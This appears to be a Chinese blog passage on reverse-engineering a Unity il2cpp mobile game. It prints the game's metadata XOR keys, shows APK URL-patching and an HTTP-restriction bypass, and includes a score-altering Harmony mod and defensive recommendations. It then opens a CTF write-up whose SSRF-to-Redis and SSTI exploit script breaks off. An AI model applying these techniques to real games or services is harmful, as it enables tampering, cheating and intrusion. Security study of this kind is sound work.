可以看到是字节渠道服负责读取了 url_config.json，而这在 jp-6.4.0 是没有的。

分析 jp-6.4.0，在 java 层似乎找不到任何 API_URL 的配置，因此逆 libil2cpp.so

使用之前解密的 libil2cpp.so 和 global-metadata.dat 通过 il2cppDumper 解包

用 dnspy 打开 DummyDll/Assembly-CSharp.dll，容易找到

Sekai.EnvironmentConfig展开收起

1
private static string apiUrlBase;
2
private static string sekaiGameAPIDomain;
3
private static AppInfoResponse appInfo;
4

5
// Token: 0x17000B56 RID: 2902
6
// (get) Token: 0x06004E80 RID: 20096 RVA: 0x00002050 File Offset: 0x00000250
7
[Token(Token = "0x17000B56")]
8
public static string ApiUrlBase
9
{
10
    [Token(Token = "0x6004E80")]
11
    [Address(RVA = "0x5B0FF24", Offset = "0x5B0BF24", VA = "0x5B0FF24")]
12
    get
13
    {
14
        if (string.IsNullOrEmpty(apiUrlBase))
15
        {
16
            if (appInfo != null)
17
            {
18
                SetupApiEndpoint(appInfo.domain);
19
            }
20
            else
21
            {
22
                LogUtility.LogError("appInfoを取得していないためAssetBundleInfoの実行ができません", Array.Empty<object>());
23
                return string.Empty;
24
            }
25
        }
26
        return apiUrlBase;
27
    }
28
}
29

30
// Token: 0x06004E97 RID: 20119 RVA: 0x00002053 File Offset: 0x00000253
31
[Token(Token = "0x6004E97")]
32
[Address(RVA = "0x5B100BC", Offset = "0x5B0C0BC", VA = "0x5B100BC")]
33
public static void SetupApiEndpoint(string domain)
34
{
35
    apiUrlBase = string.Format("https://{0}/api/", domain);
36
    sekaiGameAPIDomain = string.Format("https://{0}/", domain);
37
}

展开收起

Sekai.GetAppInfoAPId展开收起

1
// Token: 0x06003783 RID: 14211 RVA: 0x00002050 File Offset: 0x00000250
2
[Token(Token = "0x6003783")]
3
[Address(RVA = "0x5A0AC50", Offset = "0x5A06C50", VA = "0x5A0AC50", Slot = "9")]
4
public override string Execute(APICore<EmptyRequest, AppInfoResponse>.OnAPIEventHandler onCallBackResponse)
5
{
6
    if (onCallBackResponse != null)
7
    {
8
        this.onFinishAPI = (APICore<EmptyRequest, AppInfoResponse>.OnAPIEventHandler)Delegate.Combine(this.onFinishAPI, onCallBackResponse);
9
    }
10
    string api = $"https://game-version.sekai.colorfulpalette.org/{EnvironmentConfig.ClientVersionAPI}/{EnvironmentConfig.ClientAppHash}";
11
    return base.CallFullURL(api, APICoreParam.Method.GET, null, new APICore<EmptyRequest, AppInfoResponse>.OnAPIEventHandler(this.OnCallBack), null, true, null);
12
}
13

14
// Token: 0x06003784 RID: 14212 RVA: 0x00002053 File Offset: 0x00000253
15
[Token(Token = "0x6003784")]
16
[Address(RVA = "0x5A0ADF0", Offset = "0x5A06DF0", VA = "0x5A0ADF0")]
17
private void OnCallBack(APICore<EmptyRequest, AppInfoResponse> apiCore)
18
{
19
    if (apiCore.Result.State == APIState.SuccessComplete)
20
    {
21
        EnvironmentConfig.SetAppInfo(apiCore.Response);
22
    }
23
    this.onFinishAPI?.Invoke(apiCore);
24
}

展开收起

注：以上代码为手工复原，并非直接反编译得到，因此可能存在细微差别

因此考虑修改 https://game-version.sekai.colorfulpalette.org/{0}/{1}，但是如何改呢？改 dnspy 肯定是不行的，似乎并没有一个方法可以将 Assembly-CSharp 重新打包回 apk，那么回顾一下现有各文件的来源：

graph LR APK[apk] SO[libil2cpp.so] META1[global-metadata.dat] META2[global-metadata.dat] PROCESS[il2cppDumper] DLL[Assembly-CSharp.dll] APK <--> SO APK <--> META1 META1 <--> |XOR key| META2 META2 --> PROCESS SO --> PROCESS PROCESS --> DLL

能改的无非是改原 libil2cpp.so 和 global-metadata.dat，那么这个地址位于哪里呢？VERSION_API_URL_BASE_FORMAT 作为字符串常量，自然是存放在 global-metadata.dat 中，这涉及到 global-metadata.dat 的作用原理之一，中文互联网已有很多讨论，此文不再赘述。

一共有两处需要修改的地方，且为了避免修改原有地址长度进而导致整个 global-metadata.dat 失效，此处使用 aaaa 字符串进行占位填充

保存，异或加密，再打包进 APK/assets/bin/Data/Managed/Metadata/global-metadata.dat 中，签名安装，抓包测试

很不幸，在正常的游戏中，我们是能够看到一个对 GET https://game-version.sekai.colorfulpalette.org/6.4.0/6bad6856-ef61-eb43-47f5-dbc95fc5967c 的请求，然而在修改的安装包中，无法看到有这样一个 GET http://192.168.0.100:5000/ 的请求。

无法看到本应有的 GET 请求，说明我们找的切入点没问题；游戏无法正常发送请求，说明仍有某些点没有考虑到。

不过如果有 Android 相关开发经验，也许会记得，从某个版本起，Android 默认禁止了 HTTP 明文传输，也就是必须通过 HTTPS 进行通信。

为此，重新改包为 https 地址进行测试，成功抓到请求：

然而我们是正经审计，不能让其通入外网，更不可能有 HTTPS 了，因此重新将内网地址打包进去，并在 AndroidMainfest 中配置 cleartextTrafficPermitted="true"

可惜还是不行，抓日志发现

Terminal window展开收起

1
PS E:\> adb logcat -s Unity
2
--------- beginning of main
3
04-03 11:30:19.810 14331 14421 W Unity   : Non-secure network connections disabled in Player Settings
4
04-03 11:30:19.810 14331 14421 W Unity   : UnityEngine.Networking.UnityWebRequest:SendWebRequest()
5
04-03 11:30:19.810 14331 14421 W Unity   : Sekai.<SendRequest>d__35:MoveNext()
6
04-03 11:30:19.810 14331 14421 W Unity   : UnityEngine.SetupCoroutine:InvokeMoveNext(IEnumerator, IntPtr)
7
04-03 11:30:19.810 14331 14421 W Unity   : Sekai.APIManager:CallAPIFull(String, Method, A, OnAPIEventHandler, Boolean, APIExecuteBehaviourParam, OnAPIEventHandler, Dictionary`2)
8
04-03 11:30:19.810 14331 14421 W Unity   : Sekai.APICaller`2:CallFullURL(String, Method, A, OnAPIEventHandler, OnAPIEventHandler, Boolean, Dictionary`2)
9
04-03 11:30:19.810 14331 14421 W Unity   : Sekai.GetAppInfoAPI:Execute(OnAPIEventHandler)
10
04-03 11:30:19.810 14331 14421 W Unity   : Sekai.APIExecutor:Execute(IAPICaller`2, OnAPIEventHandler, Action, AfterErrorDetectionType, AfterInterruptionType, Boolean, Boolean, Action)
11
04-03 11:30:19.810 14331 14421 W Unity   : CP.API.APIUtility:ExecuteAppInfoAPI(Action`1, Boolean)
12
04-03 11:30:19.810 14331 14421 W Unity   : Sekai.TitleController:Login(Action`1)
13
04-03 11:30:19.810 14331 14421 W Unity   : CP.<DelayCallCore>d__12:MoveNext()
14
04-03 11:30:19.810 14331 14421 W Unity   : UnityEngine.SetupCoroutine:InvokeMoveNext(IEnumerator, IntPtr)
15
04-03 11:30:19.810 14331 14421 W Unity   :
16
04-03 11:30:19.810 14331 14421 W Unity   : [ line -146986952]
17
04-03 11:30:19.810 14331 14421 W Unity   :

展开收起

应该是 HTTP 请求被 Unity 层拦下了，审计 libunity.so，该文件也无加密

libunity.so 并不大，可以全局搜索字符串

1
__int64 __fastcall sub_936FAC(__int64 a1)
2
{
3
  _QWORD *v2; // x19
4
  _QWORD *v3; // x0
5
  int v5; // w8
6
  __int64 *v6; // x9
7
  _QWORD v7[5]; // [xsp+0h] [xbp-C0h] BYREF
8
  __int128 v8; // [xsp+28h] [xbp-98h]
9
  int v9; // [xsp+38h] [xbp-88h]
10
  __int64 v10; // [xsp+40h] [xbp-80h]
11
  char v11; // [xsp+48h] [xbp-78h]
12
  __int64 v12; // [xsp+50h] [xbp-70h]
13
  int v13; // [xsp+58h] [xbp-68h]
14
  char *v14; // [xsp+60h] [xbp-60h]
15
  char *v15; // [xsp+68h] [xbp-58h]
16
  __int64 v16[4]; // [xsp+70h] [xbp-50h] BYREF
17
  char v17; // [xsp+90h] [xbp-30h]
18
  unsigned int v18; // [xsp+94h] [xbp-2Ch]
19
  __int64 v19; // [xsp+98h] [xbp-28h]
20

21
  v2 = (_QWORD *)(a1 + 136);
22
  v19 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
23
  if ( *(_BYTE *)(a1 + 168) == 1 )
24
    v3 = (_QWORD *)(a1 + 136);
25
  else
26
    v3 = (_QWORD *)*v2;
27
  if ( (unsigned int)sub_64B840(v3, "http:", 5LL) )
28
    return 1LL;
29
  if ( *(_BYTE *)(a1 + 168) != 1 )
30
    v2 = (_QWORD *)*v2;
31
  if ( (sub_937134(v2) & 1) != 0 )
32
    return 1LL;
33
  v5 = *(_DWORD *)(sub_DD534C() + 716);
34
  if ( v5 )
35
  {
36
    if ( v5 != 1 )
37
      return 1LL;
38
    sub_64C614(v16, "Non-secure HTTP connections disabled in release builds");
39
    v11 = 1;
40
    v6 = (__int64 *)v16[0];
41
    if ( v17 == 1 )
42
      v6 = v16;
43
    v12 = 0LL;
44
    v13 = 0;
45
    v9 = 0;
46
    v7[2] = &byte_15D8D4;
47
    v7[3] = &byte_15D8D4;
48
    v14 = &byte_15D8D4;
49
    v15 = &byte_15D8D4;
50
    v7[4] = &byte_15D8D4;
51
    v8 = xmmword_17DB60;
52
    v7[0] = v6;
53
    v7[1] = &byte_15D8D4;
54
    v10 = 0LL;
55
    sub_DCEB10(v7);
56
    if ( !v17 )
57
      sub_4BADF4(v16[0], v18, &byte_15D8D4, 518LL);
58
  }
59
  return 0LL;
60
}

展开收起

还可以发现一处

1
char *__fastcall sub_937134(const char *a1)
2
{
3
  char *result; // x0
4
  char *v2; // x19
5
  char *v3; // x20
6
  size_t v4; // x21
7
  char *v5; // x0
8
  size_t v6; // x20
9
  _BYTE *v7; // x0
10

11
  result = strstr(a1, "://");
12
  if ( result )
13
  {
14
    v2 = result + 3;
15
    if ( !result[3] )
16
      return 0LL;
17
    result = strchr(result + 3, 47);
18
    if ( !result )
19
      return result;
20
    v3 = result;
21
    v4 = result - v2;
22
    if ( result == v2 )
23
    {
24
      return 0LL;
25
    }
26
    else
27
    {
28
      v5 = (char *)memchr(v2, 64, v4);
29
      if ( v5 )
30
        v6 = v3 - (v5 + 1);
31
      else
32
        v6 = v4;
33
      if ( v5 )
34
        v2 = v5 + 1;
35
      v7 = memchr(v2, 58, v6);
36
      if ( v7 )
37
        v6 = v7 - v2;
38
      if ( !strncmp(v2, "localhost", v6) )
39
        return (_BYTE *)(&dword_0 + 1);
40
      else
41
        return (char *)(strncmp(v2, "127.0.0.1", v6) == 0);
42
    }
43
  }
44
  return result;
45
}

展开收起

sub_937134 中确认了 127.0.0.1 localhost 的白名单，而 sub_936FAC 校验了 HTTP

可以考虑先改 URL 为 127.0.0.1:8831，然后用 adb reverse tcp:8831 tcp:8831 反向映射，在电脑用 ncat 来接请求验证

我这里用的是 8831 端口，成功接收到 HTTP 请求如图

对图中该请求固定返回

1
{
2
    profile = "production",
3
    assetbundleHostHash = "cf2d2388",
4
    domain = "127.0.0.1:8831"
5
}

但抓包发现该请求并没有成功被发出

重新认真审计 libil2cpp.so 可以发现，有一点之前忽略了

1
// Token: 0x06004E97 RID: 20119 RVA: 0x00002053 File Offset: 0x00000253
2
[Token(Token = "0x6004E97")]
3
[Address(RVA = "0x5B100BC", Offset = "0x5B0C0BC", VA = "0x5B100BC")]
4
public static void SetupApiEndpoint(string domain)
5
{
6
    apiUrlBase = string.Format("https://{0}/api/", domain);
7
    sekaiGameAPIDomain = string.Format("https://{0}/", domain);
8
}

如果 domain="127.0.0.1:8831" ，则格式化后得到 https://127.0.0.1:8831/api/ 和 https://127.0.0.1:8831，其中 https 和 127.0.0.1 一起出现似乎构成了一个不好的 URL，因此进一步修改这两个字符串：

如此一来，原本应该发给 https://production-game-api.sekai.colorfulpalette.org/api/xxxx 的请求转而发给 http://127.0.0.1/AAAA/xxxx，相应地接收 API 即可。

至此，成功将所需权限从 root(用于安装 mitm 所需的 CA 证书) 降级到 adb (用于转发请求)

不过，使用 AAA 进行占位填充并不是一个很优雅的解决方案，可以利用 C# 格式化字符串的特性(即使已被 il2cpp)，我们知道

1
string.Format("abc{0}ghi", "def"); // 输出 "abcdefghi"

但是我们可以构造模板

1
string.Format("abc{00}ghi", "def"); // 同样输出 "abcdefghi"

因此我们可以巧妙地利用多个 0 来占位，来替换使用 AAA 进行占位填充的做法，来得到一个更优雅的解决方案

不过这只是 C# 层面的推测，但经过实际测试，il2cpp 似乎也保留了 C# 这种字符串格式化的特性

因此最终所做 patch 如下：

防护意见#

在修改 API-URL 这一段攻击链中，主要涉及以下几个方面的问题：

global-metadata.dat 解密过于简单且可逆，导致攻击者可以自由解密和重加密
libil2cpp.so 明文存于 apk 中，易于解密、审计和篡改
apk 缺少强签名校验，很容易被篡改

对此我有几个不成熟的修复方案仅供参考，

最简单最粗暴的方法，给 apk 加壳加强签名校验，篡改后无法安装
使用非对称加密来保护 global-metadata.dat，使攻击者无法重加密，将弱点转移至保护较短的、更便于隐藏和混淆的解密公钥上
关键常量字符串混淆或拼接，增加攻击者的审计难度
移除对回环地址的白名单
对代码进行混淆，避免攻击者轻易找到切入点（我总记得以前是有混淆的来着？）
移除 url_config.json，将渠道服和非渠道服的差异化配置放在代码中进行编译时区分，而不是放在外部文件中
使用极短的域名来获取实际 API 地址，限制攻击者的篡改范围
使用自行签发的证书，拒绝其他包括根证书在内的证书，增加攻击者的测试难度
参考其他游戏，如「明⚪⚪舟」，有极为严苛的环境检查，从开始即限制攻击者的抓包分析和修改测试
现有逻辑是极为标准的 Unity il2cpp 游戏模型，可以考虑对敏感逻辑进行特殊化处理，减少同质化攻击面

PS 编写#

尝试中，霓虹人定义的数据结构太恐怖了

第三方工具#

Sekai Viewer#

众所周知的 Sekai Viewer

Moe Sekai#

非常好用的新一代数据查看器 Moe Sekai

SekaiTools#

可用于 “统计原理、统计器、查看和编辑统计结果、系统语音、静态Spine场景、羁绊称号、互动语音” 等

参见 Github Bilibili

注入博客(以 hexo 为例)#

参见在你的博客里放一只可爱的Spine Model吧~ | c10udlnk’ Blog

资源工具 sssekai#

用于下载完整的未加密混淆的资源文件，参见 GitHub

示例使用：

构建 / 更新资源缓存索引例：

Terminal window

1
sssekai abcache --db ./abcache.db --app-region jp --app-version 6.0.1 --app-appHash 0bd8114a-e782-681a-a54e-c5ec1ffb33b5

下载资源包 / asset bundle

Terminal window

1
sssekai abcache --db ./abcache.db --no-update --download-dir ./bundles/

挂载资源 (Web)

Terminal window

1
sssekai abserve --db ./abcache.db --host 127.0.0.1 --port 8831

第二章-新的视角#

20260605 记

前段时间给东方夜雀食堂写了很久的模组，自认为对 il2cpp 的游戏有一定了解，按已有经验对相关问题重新分析一下。因此开了第二章，算是个人在有一定经验后，快速的逆向与更深入的审计。

常规提取#

jp-6.5.5 提取 `global-metadata.dat` 和 `libil2cpp.so`#

20260605 记

首先根据 jp-6.4.0 的审计，global metadata 为循环异或，key 为

1
00000000  5a 70 65 82 0a b8 72 de 98 85 9a 5b 43 ec 8b 84  |Zpe..¸rÞ...[Cì..|
2
00000010  67 1b 61 83 e7 6c 55 df 45 13 a2 98 81 b8 d3 45  |g.a.çlUßE.¢..¸ÓE|
3
00000020  0d df 15 00 32 8d f6 64 f0 cc a1 7f 33 a4 2c 72  |.ß..2.ödðÌ¡.3¤,r|
4
00000030  8b 70 f4 8b f4 24 3e ee 1b 85 3d f7 15 d9 5d df  |.pô.ô$>î..=÷.Ù]ß|
5
00000040  b2 55 4d 64 d7 8a 51 d9 24 fc 93 1b ca d5 ac a0  |²UMd×.QÙ$ü..ÊÕ¬ |
6
00000050  e6 2f 0d 11 c3 48 50 e9 a0 27 e5 ac 50 ff 4e 16  |æ/..ÃHPé 'å¬PÿN.|
7
00000060  6f c1 cc de 56 c8 9b 01 1e 1b 66 f8 91 23 24 45  |oÁÌÞVÈ....fø.#$E|
8
00000070  d9 9c 10 e6 cc 4b 1c 6a 04 64 c3 af a4 a5 88 25  |Ù..æÌK.j.dÃ¯¤¥.%|

然而将其用在 jp 6.5.5 安装包中的 global metadata 时是错误的。那么在 jp 6.4.0 的 libil2cpp.so 中搜索 5a 70 65 82，定位到 0x1D470F7 的 BYTE byte_1D470F7[128]，全局唯一。使用该部分的代码为

1
// sub_3FDBB48
2
if ( v40 >= 1 )
3
{
4
    v42 = 0LL;
5
    do
6
    {
7
        v41[v42] ^= byte_1D470F7[v42 & 0x7F];
8
        ++v42;
9
    }
10
    while ( v40 != (_DWORD)v42 );
11
}

画一下 sub_3FDBB48的调用图，关系还是很明显的。

从 il2cpp_init 反向跟着找 jp 6.5.5 即可

ida /data/app/xxx/xxx/lib/arm64/libil2cpp.so

在 sub_42B62D0，key 为

1
00000000  b8 3e f6 ad f2 86 ab bc 3f 56 39 8a fa 08 f1 45  |¸>ö.ò.«¼?V9.ú.ñE|
2
00000010  fe 5e e1 1c 7b 9b 49 2c f3 c1 3d c6 c9 00 0e 73  |þ^á.{.I,óÁ=ÆÉ..s|
3
00000020  cb 96 42 51 23 e5 56 37 ba 59 50 da 2e 63 f8 a3  |Ë.BQ#åV7ºYPÚ.cø£|
4
00000030  63 4a 69 7f ba c1 ee 1c f4 c9 ba 31 48 e5 f2 3e  |cJi.ºÁî.ôÉº1Håò>|
5
00000040  47 c6 bf 64 c6 9f 21 18 07 a9 61 22 4b 6f fe 8f  |GÆ¿dÆ.!..©a"Koþ.|
6
00000050  c8 99 63 7f 97 8f b8 09 a8 25 5d 5a 2b 25 ee d5  |È.c...¸.¨%]Z+%îÕ|
7
00000060  66 11 92 68 a3 93 dc c3 28 50 77 11 60 cb d1 84  |f..h£.ÜÃ(Pw.`ËÑ.|
8
00000070  cb 2a 68 af 82 73 a7 b8 0d b6 bb a1 42 c7 ed e1  |Ë*h¯.s§¸.¶»¡BÇíá|

解密后的 global-metadata.dat 的 MD5 为 182796373B5708F00115E409A9120730

ps: 感慨啊，当年跟 mos9527 老师一步步走的教程尚且十分吃力，现在已能分分钟找到，也算是自己的进步了。

网络审计#

20260606 删，感觉写的有点太直白了，先删了）

代码审计#

20260607 记

在 AI Agent 飞速发展的今天，想快速审计一个 il2cpp 游戏已经不是难事，如果能配合地用好工具，一定能达到事半功倍的效果。这里将首先分享一下个人为此准备的一套工具和工作流，然后按各个功能模块进行粗浅地分析，以供大家参考。这部分可能有 AI 生成总结的部分（因为 AI 真的比我总结的更高效、更准确、更有价值），此类内容会在所属小节开头进行标注。

逆向工具#

在去年，我可能会说，下面的工具只需配置一部分即可。但是在现在，接下来的每一个工具都是我经过大量实践总结出的一套模式，如果以后有进步也会同步进行更新。

010-Editor：用于查看文件的十六进制，有助于恢复 global-metadata.dat，也可使用其他工具替代。
Il2CppDumper：il2cpp 逆向最权威的工具，用于解析 global-metadata.dat 并导出字符串表以及 DummyDll 等重要产物。
dnSpy：用于粗略审计 DummyDll/*.dll，导出为桩代码项目可供 AI Agent 快速审计。
IDA Pro：用于对 libil2cpp.so 进行反汇编分析，并在必要时进行动态调试。对于 il2cpp 游戏，IDA 是理解底层执行逻辑的重要工具。
IDA-Pro-MCP：该插件允许AI Agent通过MCP接口访问IDA数据库，可用于辅助定位函数、理解控制流或加速分析过程。

逆向分析准备#

恢复 global-metadata.dat，老生常谈的话题了，应该非常简单了吧）大家都会了。
找到 libil2cpp.so，一般在安装包里的 lib/arm64-v8a/libil2cpp.so
使用 Il2CppDumper 读取 global-metadata.dat 和 libil2cpp.so，等待一会可以得到一些产物。如果报错，检查是否是二者有未解开的加密或损坏。
将 Il2CppDumper 生成的 DummyDll/Assembly-CSharp.dll 导入dnSpy。通过该文件，我们可以较为直观地查看游戏逻辑中的类定义、字段名称以及方法签名，并定位其虚拟地址。
在 dnSpy 中选中 Assembly-CSharp.dll，并通过 文件 > 导出到工程 将整个项目进行导出，导出的代码不含具体逻辑，只含结构，以供 AI Agent 进行标准的参考。
使用 IDA Pro 打开 libil2cpp.so，等待其完成初始自动分析（首次加载耗时会非常长，建议导入后直接睡到天明）。
关闭 IDA，切记勾选 Collect garbage 而不要勾选 Don't SAVE the database，备份产物 libil2cpp.so.i64。
重新打开 libil2cpp.so.i64，点击 File -> Script file，运行 Il2CppDumper 附带的 ida_with_struct_py3.py 脚本。根据脚本提示，依次选择生成的 script.json 与 il2cpp.h 文件，耐心等待符号与结构信息导入完成。（这次处理耗时也会非常长，建议处理后再睡一觉到天明）。
关闭 IDA，切记勾选 Collect garbage 而不要勾选 Don't SAVE the database，重新备份产物 libil2cpp.so.i64。
为 IDA 安装 IDA Pro MCP
安装 skill：IL2cpp-to-csharp-skill
打开 IDA，启用 IDA Pro MCP，将桩代码目录和 Il2CppDumper 的产物 stringliteral.json 路径提供给 Agent，即可让 Agent 开始逆向分析。

mod 制作#

20260606 记

注：以下测试均在断网环境的模拟，未接入服务器，未造成任何影响，仅供学习和参考，不提供任何技术支持。

在今天之前我也很难以想象我能做到这一步，但是确实成功了。

搭建好基础环境后，编写就和普通 PC 端的 BepInEx il2cpp mod 一样了。

FusionCore#

感谢项目：All-Of-Us-Mods/FusionCore

这是我针对性修复一些问题后的 fork 版本：MetaMikuAI/FusionCore

当然我不可能提供可以直接运行的版本，需要额外做如下：

请按照 README 自行添加对应包名
请按照 README 自行编译并安装
启动后首先关闭设置中的 Download unstripped libunity 选项
将解密后的 global-metadata.dat 放到 /sdcard/FusionCore/<包名>/ 下

我在编译原仓库时，发现有几个问题，并在我的 fork 仓库被修复或解决：

游戏直接闪退：FusionCore 误将 global-metadata.dat 当明文读取而崩溃，这在 Add global metadata override during bootstrap 被解决，请将解密后的 global-metadata.dat 放到 /sdcard/FusionCore/<包名>/ 下
游戏可以正常加载，但有关 Google Play 的一些图标等资源加载错误：FusionCore 包装后导致和 Google Play 通信的一些问题，这在 Fix launcher context wrapping for game resources 被修复。
游戏可以正常加载，但是只能在标题页，点击标题无法登录游戏：与第二条类似的问题，这在 Fix Unity launch context and Firebase discovery 中被修复。

游戏正常加载，甚至可以直接带起来 UnityExplorer

mini live 和 mini miku…

搭建 mod 编译环境并测试 mod#

与正常 il2cpp 游戏的 bepinex 环境搭建方法类似，首先至少运行过一次 FusionCore，然后复制 /sdcard/FusionCore/<包名>/BepInEx 到电脑上，这个目录即是编译 mod 所需的「依赖」。

我先前在为《东方夜雀食堂》制作 mod 时顺便写了一组很详细的开发文档，而且流程几乎一模一样。因此这里只会简单介绍一下流程，有很多细节的省略，推荐将博客和开发文档对照着阅读。MetaMystia文档 - hello world 其一。但是注意，其中 .NET 版本应当选择 10.0，除此之外无其他不同。

在这里我直接用命令行创建。classlib 代表类库，用于 mod；SekaiModTest 代表项目名，任取。

Terminal window

1
dotnet new classlib -n SekaiModTest

创建好后请确保 SekaiModTest.csproj 的 TargetFramework 为 net10.0，并添加引用(先前导出的 BepInEx/core/xxx.dll 和 BepInEx/interop/xxx.dll)，这里不再过多介绍。

按我个人习惯，Class1.cs 改名为 Plugin.cs，并编写代码：

1
using BepInEx;
2
using BepInEx.Unity.IL2CPP;
3
using HarmonyLib;
4

5
using Sekai.Core.Live;
6

7
namespace SekaiModTest;
8

9

10
[BepInPlugin(MyPluginInfo.PLUGIN_GUID, MyPluginInfo.PLUGIN_NAME, MyPluginInfo.PLUGIN_VERSION)]
11
public class Plugin : BasePlugin
12
{
13
    public static Plugin Instance;
14

15
    public Plugin()
16
    {
17
        Instance = this;
18
    }
19

20
    public override void Load()
21
    {
22
        Log.LogWarning($"Plugin {MyPluginInfo.PLUGIN_NAME}-v{MyPluginInfo.PLUGIN_VERSION} is loaded!");
23
        Log.LogWarning($"Made by MetaMiku");
24
        Log.LogWarning($"https://github.com/MetaMikuAI/SekaiModTest");
25

26
        try
27
        {
28
            var harmony = new Harmony(MyPluginInfo.PLUGIN_GUID);
29
            harmony.PatchAll(typeof(ScoreLogicPatch));
30
        }
31
        catch
32
        {
33
            Log.LogError("FAILED to Apply Hooks!");
34
        }
35
    }
36
}
37

38
[HarmonyPatch(typeof(Sekai.Core.Live.ScoreLogic))]
39
public class ScoreLogicPatch
40
{
41
    [HarmonyPatch(nameof(ScoreLogic.GetNoteScoreFactor))]
42
    [HarmonyPostfix]
43
    public static void GetNoteScoreFactor_Postfix(ref float __result)
44
    {
45
        Plugin.Instance.Log.LogWarning($"GetNoteScoreFactor called, setting result to 100.0f");
46
        __result = 100.0f;
47
    }
48
}

展开收起

这段代码的大概含义是：

模组加载时打印三行日志，并向 Sekai.Core.Live.ScoreLogic 应用钩子。
在 Sekai.Core.Live.ScoreLogic.GetNoteScoreFactor 调用结束返回结果时，将结果修改为 100.0f

编译

1
dotnet build

将 电脑/.../BepInEx/plugins/SekaiModTest.dll 文件复制到 Android 的对应位置即可。

运行 FusionCore 中的游戏，启动 solo live，可以看到音符得分被大幅降低。

如果没有跟上，可以直接从 MetaMikuAI/SekaiModTest 获取现成代码，并注意修改 SekaiModTest.csproj 中的 BepInExPath 项。

课后作业：合理使用 Harmony Patch，使得音符在 miss 后不会扣血。

注入有风险，测试需谨慎。

20250315长城杯半决赛

Tue, 18 Mar 2025 00:00:00 GMT

前言#

本来想认真记录并复盘的，结果实在是打得太烂了，只能以复盘+日记为主了。

WP 整理#

先整理了一下其他师傅的 WP

AWDP#

php-master(web-pwn)
time-capsule(web)
blog(web)
ccforum(web)
chatroom(web)
rng-assistant(web)
prompt(pwn)
typo(pwn)
post_quantum(pwn)

ISW#

应急响应
数据库管理系统
Web-Git
CCB2025

writeup#

应急响应：2025 长城杯 & 国赛半决赛 ISW | Target Machines WriteUp
php-master time-capsule 应急响应 数据库管理系统 Web-Git：2025 CISCN&长城杯半决赛部分题解 | 溴化锂的笔记本
typo(pwn)：[原创]长城杯2025 pwn-typo| 看雪狗狗不赖啊
post_quantum(pwn) prompt(pwn) typo(pwn)：2025ciscn&ccb浙江赛区半决赛 | j1ya
typo(pwn) prompt(pwn) php-master(web-pwn) post_quantum(pwn) [原创]CCB_CISCN_半决赛-AWDP-Pwn | 看雪 imLZH1
ccforum(web) rng-assistant(web) php-master(web-pwn) 应急响应 数据库管理系统 Web-Git https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/
typo(pwn) prompt(pwn) post_quantum(pwn) 应急响应第二届长城杯ciscn半决赛awdp pwn以及应急响应wp | rbp
php-master(web-pwn) prompt(pwn) typo(pwn) post_quantum(pwn) rng-assistant(web) CISCN 2025 半决赛 writeup by 0psu3
rng-assistant(web) ccforum(web) typo(pwn) prompt(pwn) post_quantum(pwn) Web-Git 应急响应 数据库管理系统 CCB2025 2025 CISCN&CCB Half-Final WP
typo(pwn) ciscn & 长城杯 2025半决赛 pwn typo
typo(pwn) CISCN && 长城杯 2025半决赛 Pwn-typo wp(含附件)
time-capsule(web) CISCN&长城杯2025半决赛awdp复现——TimeCapsule Err0r233
rng-assistant(web) php-master(web-pwn) ccforum(web) 应急响应 Web-Git CCB2025 CISCN&长城杯2025半决赛复盘 Err0r233

复现#

线下时主要再打 RNG，现在复现一下 RNG 试试。

rng-assistant(web)#

break#

目录结构

Terminal window展开收起

1
.
2
├── app
3
│   ├── app.py
4
│   ├── flag.py
5
│   ├── mini-ollama
6
│   │   ├── default.py
7
│   │   ├── math-v1.py
8
│   │   └── mini_ollama.py
9
│   └── static
10
│       ├── prompts
11
│       │   └── math-v1.txt
12
│       └── public
13
├── docker-compose.yml
14
├── Dockerfile
15
├── flask_app.conf
16
└── start.sh

展开收起

比赛时看了好久没打出来(不过天津赛区好像最后也双双爆零哈哈)，事后看了师傅们的 wp 感觉还不算很离谱，如果对 redis&SSTI 更敏感的话应该能做出来

app.py 开局将 flag.py import 了，目前看可以考虑从 app.py 下手，或直接读取文件

整理一下路由

1
/
2
/register
3
/login
4
/ask
5
/admin/raw_ask
6
/admin/model_ports

/register /login 常规的注册登录，/ask 带模板的问，/admin/raw_ask 直接控制提示词，/admin/model_ports 注意到可以自由设定端口。

很自然的想到 /admin/model_ports 写 6379 端口，然后 /admin/raw_ask 能直接发送请求(像 SSRF 一样)，测试一下也确实能连到 redis，但是权限极低，无法写入文件，(赛后尝试)无法主从复制。

仔细分析一下危险部分：

第一个是 model_query 函数，首先试图读取 redis 缓存，没有则请求模型，但有则直接返回，没有可利用的点，比赛时就卡这了。

第二个是 PromptTemplate 类的 get_template 函数，会尝试读取缓存或读取本地文件，之后在 get_prompt 函数中进行了 .format(t=self) 处理。template_id 不可控，无法让他从读取 math-v1.txt 转而读取 ../flag.py，但是 redis 缓存是可以的，只要指定一个键 prompt:math-v1 即可。

第三是 /ask 路由会同时返回 answer 和 prompt，前者是无用的，后者恰好是我们需要的，保证我们能够看到被模板注入后的提示词。

整个 exploit流程如下

1
注册账号 -> 登录账号 -> 注册模型 -> SSRF redis 写入缓存 -> /ask SSTI 模板注入

exploit 脚本如下

P.S. 搓了一个 python 解析 HTTP 报文的代码，不知道实用与否。

1
import requests
2

3
RHOST = "127.0.0.1"
4
RPORT = 18082
5

6

7
def parse_http_request(raw_request):
8
    lines = raw_request.strip().replace('\r\n', '\n').split('\n')
9

10
    request_line = lines[0].strip()
11
    method, url, _ = request_line.split()
12

13
    headers = {}
14
    data = ''
15

16
    for i in range(1, len(lines)):
17
        line = lines[i].strip()
18
        if not line:
19
            data = '\n'.join(lines[i+1:]).lstrip('\r').strip('\n')
20
            break
21
        if ':' in line:
22
            key, value = line.split(':', 1)
23
            headers[key.strip()] = value.strip()
24

25
    return method.lower(), url, headers, data
26

27
def send_http_request(raw_request):
28
    method, url, headers, data = parse_http_request(raw_request)
29

30
    response = requests.request(
31
        method=method,
32
        url=url,
33
        headers=headers,
34
        data=data.encode('utf-8') if data else None,
35
        allow_redirects=False
36
    )
37
    return response
38

39

40
req_1 = f"""\
41
POST http://{RHOST}:{RPORT}/register HTTP/1.1
42
Host: {RHOST}
43
Content-Type: application/json
44
Connection: close
45

46
{{"username": "metamiku", "password": "123456"}}
47
"""
48

49
resp_1 = send_http_request(req_1)
50
print(resp_1.content)
51

52

53
req_2 = f"""\
54
POST http://{RHOST}:{RPORT}/login HTTP/1.1
55
Host: {RHOST}
56
Content-Type: application/json
57
